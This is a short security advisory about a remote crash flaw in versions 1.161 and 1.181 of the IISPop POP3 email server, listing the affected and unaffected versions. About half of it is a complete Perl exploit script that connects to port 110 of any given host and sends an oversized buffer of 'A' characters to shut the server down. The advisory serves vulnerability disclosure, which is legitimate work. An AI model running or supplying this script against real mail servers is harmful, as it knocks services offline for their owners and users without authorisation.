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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

IISPop Email Server was designed for small networks. This POP3 only server was designed to be paired with the SMTP server bundled running under the Windows 2000 operating system. A vulnerability in the product allows remote attackers to cause the server to crash by sending it a large buffer.

Credit:
The information has been provided by securma massine.

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Vulnerable systems:
* IISPop version 1.161 and 1.181

Immune systems:
* IISPop version 1.41

Exploit:
#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;

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